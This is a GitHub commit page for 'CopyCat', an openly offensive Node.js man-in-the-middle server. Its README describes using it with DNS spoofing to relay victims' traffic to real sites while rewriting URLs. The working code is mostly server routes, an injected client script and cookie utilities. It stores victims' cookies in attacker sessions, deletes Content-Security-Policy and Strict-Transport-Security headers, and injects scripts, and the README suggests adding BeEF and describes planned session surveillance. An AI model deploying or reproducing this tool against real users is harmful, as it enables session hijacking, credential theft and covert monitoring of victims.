-
Notifications
You must be signed in to change notification settings - Fork 22
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit e71f3ec
Showing
11 changed files
with
542 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
vars = { | ||
"NODE_TLS_REJECT_UNAUTHORIZED": "0", | ||
"PORT": 80, | ||
"HTTP": "us-west-1", | ||
"HTTPS": "us-west-2", | ||
"HTTPW": "us-west-3", | ||
"HTTPSW": "us-west-4", | ||
"SESS_COOKIE": "ccsess" | ||
} | ||
|
||
Object.keys(vars).forEach(function(key){ | ||
process.env[key] = vars[key] | ||
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
node_modules |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
#CopyCat | ||
|
||
CopyCat is a Node.js based universal MITM web server. Used with DNS spoofing or another redirect attack, this server will act as a MITM for web traffic between the victim and a real server. | ||
|
||
Most often we see DNS spoofing used to redirect victims to an attackers server hosting a static clone of the spoofed domain's login page. But this server will forward all traffic between the victim and the spoofed domain allowing an attacker to sit in as the MITM while the victim interacts with the real domain. This also allows the attacker to inject scripts and manipulate the victim's interactions with the intended web server. | ||
|
||
All urls are hijacked inside the HTML response from the server causing all traffic to be rerouted back through the server (provided you have a redirect attack for those domains as well). | ||
|
||
### Configuration | ||
|
||
After cloning or downloading this repo, look at the .env file in the root directory. This is where you set the subdomains to their corresponding real prefixes. The default prefix map is: | ||
|
||
``` | ||
{ | ||
'http://': 'us-west-1', | ||
'https://': 'us-west-2', | ||
'http://www.': 'us-west-3', | ||
'https://www.': 'us-west-4' | ||
} | ||
``` | ||
Example url translations: | ||
https://facebook.com -> http://us-west-2.facebook.com | ||
https://www.google.com -> http://us-west-4.google.com | ||
|
||
|
||
### Installation | ||
|
||
Requires [Node.js](https://nodejs.org/) v6+ to run. | ||
|
||
```sh | ||
$ cd /path/to/repo | ||
$ npm install | ||
$ sudo node server.js | ||
``` | ||
|
||
### What's Happening? | ||
The attacker directs the victim to the spoofed domain for example http://us-west-4.facebook.com. Using DNS spoofing this request is sent to this server. It recognizes the pattern "us-west-4" means this should be a request to https://www.facebook.com. A session is either generated or looked up and associated with the request. The server makes a request to that domain. When a response is received, it hijacks any urls in the HTML to be their spoofed counterpart to ensure those requests are sent back through this server. Any cookies from the real domain are attached to the victims session to be used with future requests. Security headers are modified or deleted to allow content to render properly. A script is injected into the HTML before responding. This client side script (public/hijacks.js) overwrites the native [XMLHttpRequest.open](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/open) method to hijack the requested url. It also traverses the DOM looking for elements which request content and hijacks their urls in case they were added client side or slipped past the server side url hijaking function. The end result being a functioning version of the spoofed domain. | ||
|
||
### What can I do with it? | ||
This is nothing more than a functioning platform for being a MITM with web requests. The potential to use this with other attacks is there. You completely own this domain and can run whatever arbitrary scripts you'd like, or even inject a [BeEF](http://beefproject.com/). If theyre going through this server you have complete control of the victim's experience. | ||
|
||
### What's Next? | ||
Stay tuned for updates to [VeAL](https://github.com/compewter/veal). Once that platform is there to manage victim sessions, you will be able to view and manipulate victim's sessions with ease. | ||
I'm working on a prototype of a remote viewing attack. This will mirror all mouse movements, keystrokes, and DOM elements from the victims allowing you to remotely watch the session as its happening as a sort of terrifying surveillance tool. This of course wouldn't be limited to this MITM server so it wont be found here. | ||
In addition to viewing live, I don't see why you couldn't record a session to be viewed later. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
{ | ||
"name": "copycat", | ||
"version": "1.0.0", | ||
"description": "Universal MITM web server", | ||
"main": "server.js", | ||
"scripts": { | ||
"start": "node server.js" | ||
}, | ||
"author": "Michael Wetherald", | ||
"dependencies": { | ||
"cookie-parser": "^1.4.3", | ||
"express": "^4.14.0", | ||
"request": "^2.79.0" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,93 @@ | ||
//overwrites the open method of the XMLHttpRequest class to hijack the url used | ||
(function(open){ | ||
XMLHttpRequest.prototype.open = function(){ | ||
try{ | ||
newArgs = Array.prototype.slice.call(arguments) | ||
newArgs[1] = hijackUrl(arguments[1]) | ||
open.apply(this, newArgs) | ||
}catch(e){ | ||
console.error(e) | ||
} | ||
} | ||
})(XMLHttpRequest.prototype.open) | ||
|
||
//cycle through the DOM looking for url attributes that were added by some client side javascript | ||
setInterval(verifyUrls, 500) | ||
function verifyUrls(){ | ||
Array.prototype.slice.call(document.getElementsByTagName('iframe')).forEach(replaceAttribute.bind({attributeName: 'src'})) | ||
|
||
Array.prototype.slice.call(document.getElementsByTagName('img')).forEach(replaceAttribute.bind({attributeName: 'src'})) | ||
|
||
Array.prototype.slice.call(document.getElementsByTagName('link')).forEach(replaceAttribute.bind({attributeName: 'src'})) | ||
|
||
Array.prototype.slice.call(document.getElementsByTagName('script')).forEach(function(script){ | ||
if( script.src !== undefined && script.src !== '' && script.src[0] !== '/' && script.src.indexOf('chrome-extension://') !== 0 && !containsSpoofedDomain(script.src) ){ | ||
var newScript = document.createElement('script') | ||
newScript.src = hijackUrl(script.src) | ||
var parent = script.parentNode | ||
parent.appendChild(newScript) | ||
parent.removeChild(script) | ||
} | ||
}) | ||
|
||
Array.prototype.slice.call(document.getElementsByTagName('a')).forEach(function(a){ | ||
if( a.href[0] !== '/' && !containsSpoofedDomain(a.href) && a.href !== '' && a.href !== '#' && a.href !== undefined ){ | ||
var oldLink = a.href | ||
a.href = hijackUrl(a.href) | ||
if(containsSpoofedDomain(a.innerText)){ | ||
a.innerText = oldLink | ||
} | ||
} | ||
//Some websites shim link clicks. Need to hijack that | ||
if( a.href[0] === '/' || containsSpoofedDomain(a.href)){ | ||
a.onclick = linkClickHandler.bind(a) | ||
} | ||
}) | ||
} | ||
|
||
//replaces the value of the provided attribute on the provided node | ||
function replaceAttribute(node){ | ||
if( node[this.attributeName] !== undefined && node[this.attributeName] !== '' && node[this.attributeName][0] !== '/' && !containsSpoofedDomain(node[this.attributeName]) ){ | ||
node[this.attributeName] = hijackUrl(node[this.attributeName]) | ||
} | ||
} | ||
|
||
//Used to prevent link shimming | ||
function linkClickHandler(e){ | ||
if(this.href !== '#'){ | ||
e.preventDefault() | ||
if(this.getAttribute('target') === '_blank'){ | ||
window.open(this.href, '_blank') | ||
}else{ | ||
window.location.href = this.href | ||
} | ||
} | ||
} | ||
|
||
//converts the provided url to its spoofed counterpart | ||
function hijackUrl(url){ | ||
if(containsSpoofedDomain(url) || url[0] === '/'){ | ||
return url | ||
} | ||
if(url.indexOf('https://') === 0 && isHTTPSofSpoofedDomain(url)){ | ||
return url.replace('https://', 'http://') | ||
}else { | ||
return url.replace(/https?\:\/\/(www\.)?/, function (prefix){ | ||
return 'http://' + prefixToSpoofedDomain[prefix] + '.' | ||
}) | ||
} | ||
} | ||
|
||
//returns true if the provided url contains a spoofed subdomain | ||
function containsSpoofedDomain(url){ | ||
return spoofedDomains.some(function (subdomain){ | ||
return url.indexOf(subdomain) === 0 || url.indexOf('http://'+subdomain) === 0 | ||
}) | ||
} | ||
|
||
//returns true if the provided url is an https version of a spoofed domain | ||
function isHTTPSofSpoofedDomain(url){ | ||
return spoofedDomains.some(function (subdomain){ | ||
return url.indexOf('https://'+subdomain) === 0 | ||
}) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,154 @@ | ||
const express = require('express') | ||
const zlib = require('zlib') | ||
const Transform = require('stream').Transform | ||
const request = require('request')/*.defaults({ | ||
proxy: 'http://localhost:8080' | ||
})*/ | ||
|
||
const urlUtils = require('./utils/urls') | ||
const cookieUtils = require('./utils/cookies') | ||
|
||
module.exports = () => { | ||
const router = express.Router(); | ||
|
||
router.use('/', (req, res) => { | ||
console.log(req.method.toLowerCase(), req.url) | ||
|
||
//set the cookie header for this session | ||
req.headers.cookie = cookieUtils.cookiesToHeaderStr(Object.assign(req.session.cookies[req._domain] || {}, req.cookies)) | ||
|
||
//make the request to the real url | ||
req.pipe(request[req.method.toLowerCase()](req.url)).on('response', (response) => { | ||
//store new cookies | ||
cookieUtils.setCookies(req.session.cookies, req._domain, response.headers['set-cookie']) | ||
|
||
if(req.session.update){ | ||
cookieUtils.addSessionCookie(response.headers['set-cookie'], req.cookies[process.env.SESS_COOKIE], req._domain) | ||
} | ||
|
||
//hijack redirect urls | ||
if(response.statusCode === 301 || response.statusCode === 302){ | ||
response.headers['location'] = urlUtils.convertUrlToSpoofed(response.headers['location']) | ||
} | ||
|
||
//set status code to that from piped response | ||
res.status(response.statusCode) | ||
|
||
//hijack URLs in html responses | ||
if(response.headers['content-type'] && ~response.headers['content-type'].indexOf('text/html')){ | ||
//creates new transform stream to hijack urls in html | ||
const urlHijackTransformStream = new TransformStream() | ||
//url hijacking function needs to know whether the originally requested url is an https request | ||
urlHijackTransformStream.secure = req.url.indexOf('https://') === 0 | ||
|
||
//unzip encoded content before hijacking urls in html | ||
switch (response.headers['content-encoding']) { | ||
case 'gzip': | ||
case 'deflate': | ||
//delete content-encoding header because it has been unzipped | ||
delete response.headers['content-encoding'] | ||
//set headers on response object before piping result of url hijacks | ||
res.set(updateResponseHeaders(response.headers)) | ||
//pipe response into unzip stream and url hijack transform stream | ||
response.pipe(zlib.createUnzip()).pipe(urlHijackTransformStream).pipe(res) | ||
break | ||
default: | ||
//set headers on response object before piping result of url hijacks | ||
res.set(updateResponseHeaders(response.headers)) | ||
//pipe response into unzip stream and url hijack transform stream | ||
response.pipe(urlHijackTransformStream).pipe(res) | ||
break | ||
} | ||
}else{ | ||
//set headers on response object before piping response | ||
res.set(updateResponseHeaders(response.headers)) | ||
//pipe responses back to victim without modification | ||
response.pipe(res) | ||
} | ||
}) | ||
}) | ||
|
||
return router | ||
} | ||
|
||
//injects scripts to be loaded in the response to the victim | ||
function injectScripts(source){ | ||
return source.replace('</head', getSubDomainVars() + '<script src="/hijacks.js" type="text/javascript"></script>' + '</head') | ||
} | ||
|
||
//gets spoofed domain prefixes to load in the response to the victim | ||
function getSubDomainVars(){ | ||
return `<script type="text/javascript"> | ||
var spoofedDomains = ${JSON.stringify(urlUtils.spoofedDomains)}; | ||
var prefixToSpoofedDomain = ${JSON.stringify(urlUtils.prefixToSpoofedDomain)}; | ||
var sessCookieName = "${process.env.SESS_COOKIE}"; | ||
</script>` | ||
} | ||
|
||
//update response headers to loosen security | ||
function updateResponseHeaders(headers){ | ||
if(headers['Access-Control-Allow-Origin']){ | ||
headers['Access-Control-Allow-Origin'] = urlUtils.convertUrlToSpoofed(headers['Access-Control-Allow-Origin']) || '*' | ||
}else if(headers['access-control-allow-origin']){ | ||
headers['access-control-allow-origin'] = urlUtils.convertUrlToSpoofed(headers['access-control-allow-origin']) || '*' | ||
}else{ | ||
headers['access-control-allow-origin'] = '*' | ||
} | ||
delete headers['content-security-policy'] | ||
delete headers['Content-Security-Policy'] | ||
//on the off chance this is their first time accessing this domain and its not in a preloaded STS list | ||
delete headers['strict-transport-security'] | ||
delete headers['Strict-Transport-Security'] | ||
return headers | ||
} | ||
|
||
//Transform stream used to hijack urls in html responses | ||
class TransformStream extends Transform { | ||
constructor(options) { | ||
super(options) | ||
} | ||
|
||
/*Transforms urls in each chunk. | ||
In case a url is split across chunks, it finds the index of the last space in | ||
the chunk and prepends it to the next chunk before modifying.*/ | ||
_transform(chunk, encoding, done) { | ||
let chunkStr = chunk.toString() | ||
|
||
//if the previous chunk had content after the last space prepend it to this chunk | ||
if(this.remainderPrevChunk){ | ||
chunkStr = this.remainderPrevChunk + chunkStr | ||
this.remainderPrevChunk = '' | ||
} | ||
|
||
//only push current chunk up to last whitespace (in case url is split across chunks) | ||
const indexLastSpace = chunkStr.lastIndexOf(' ') | ||
if(indexLastSpace === -1){ | ||
//hijack any urls in this chunk | ||
chunkStr = urlUtils.hijackUrls(chunkStr, this.secure) | ||
}else{ | ||
//store remainder of chunk after last index of space to prepend to next chunk | ||
this.remainderPrevChunk = chunkStr.slice(indexLastSpace) | ||
//hijack any urls in this chunk | ||
chunkStr = urlUtils.hijackUrls(chunkStr.slice(0, indexLastSpace), this.secure) | ||
} | ||
|
||
//inject client side scripts. This is done after hijacking urls to prevent hijacking the contents of these scripts | ||
if(!this.scriptsInjected && ~chunkStr.indexOf('</head')){ | ||
chunkStr = injectScripts(chunkStr) | ||
this.scriptsInjected = true | ||
} | ||
|
||
this.push(chunkStr) | ||
|
||
done() | ||
} | ||
|
||
//called after last chunk was received | ||
_flush(done){ | ||
//if the previous chunk had content after the last space we need to write it to the stream | ||
if(this.remainderPrevChunk){ | ||
this.push(this.remainderPrevChunk) | ||
} | ||
done() | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
var http = require('http') | ||
var express = require('express') | ||
var cookieParser = require('cookie-parser') | ||
|
||
var env = require('./.env') | ||
var middlewares = require('./utils/middlewares') | ||
var session = require('./utils/session')() | ||
|
||
var app = express() | ||
var server = http.createServer(app) | ||
|
||
server.listen(process.env.PORT) | ||
console.log('Listening on', process.env.PORT) | ||
|
||
app.use( cookieParser() ) | ||
app.use( session ) | ||
app.use( express.static(__dirname + '/public') ) | ||
app.use( middlewares.filterRequests ) | ||
app.use( middlewares.convertSpoofedToOriginalUrl ) | ||
app.use( middlewares.setDomain ) | ||
app.use( middlewares.purifyHeaders ) | ||
app.use( '/', require('./routes')() ) | ||
app.use( middlewares.catchAll ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
//updates cookies in the provided cookie jar and given domain | ||
module.exports.setCookies = function(jar, domain, newCookies=[]) { | ||
if(newCookies.length === 0){ | ||
return | ||
} | ||
|
||
//create a new object store if one doesn't exist | ||
jar[domain] = jar[domain] || {} | ||
//store the new cookies in this domain's object store | ||
newCookies.forEach((cookie)=>{ | ||
var cookieName = cookie.split('=')[0] | ||
if(cookie.split('=')[1].indexOf('deleted;') === 0){ | ||
delete jar[domain][cookieName] | ||
}else{ | ||
jar[domain][cookieName] = cookie.substring(cookie.indexOf('=')+1, cookie.indexOf(';')) | ||
} | ||
}) | ||
} | ||
|
||
//converts cookie jar to cookie header string | ||
module.exports.cookiesToHeaderStr = function(cookies){ | ||
return Object.keys(cookies).reduce((pv, cookieName)=>{ | ||
//prevents sending session cookie to destination server | ||
if(cookieName === process.env.SESS_COOKIE){ | ||
return pv | ||
} | ||
return pv + cookieName + '=' + cookies[cookieName] + '; ' | ||
},'') | ||
} | ||
|
||
module.exports.addSessionCookie = function(setCookieHeader=[], sessionCookie, domain){ | ||
let parsedDomain = ~domain.indexOf('www.') ? domain.slice(domain.indexOf('www.')+3) : '.'+domain | ||
//update session cookie | ||
setCookieHeader.push(process.env.SESS_COOKIE+'='+sessionCookie+'; expires=Fri, 01-Jan-2038 00:00:00 GMT; path=/; domain='+parsedDomain+';') | ||
} |
Oops, something went wrong.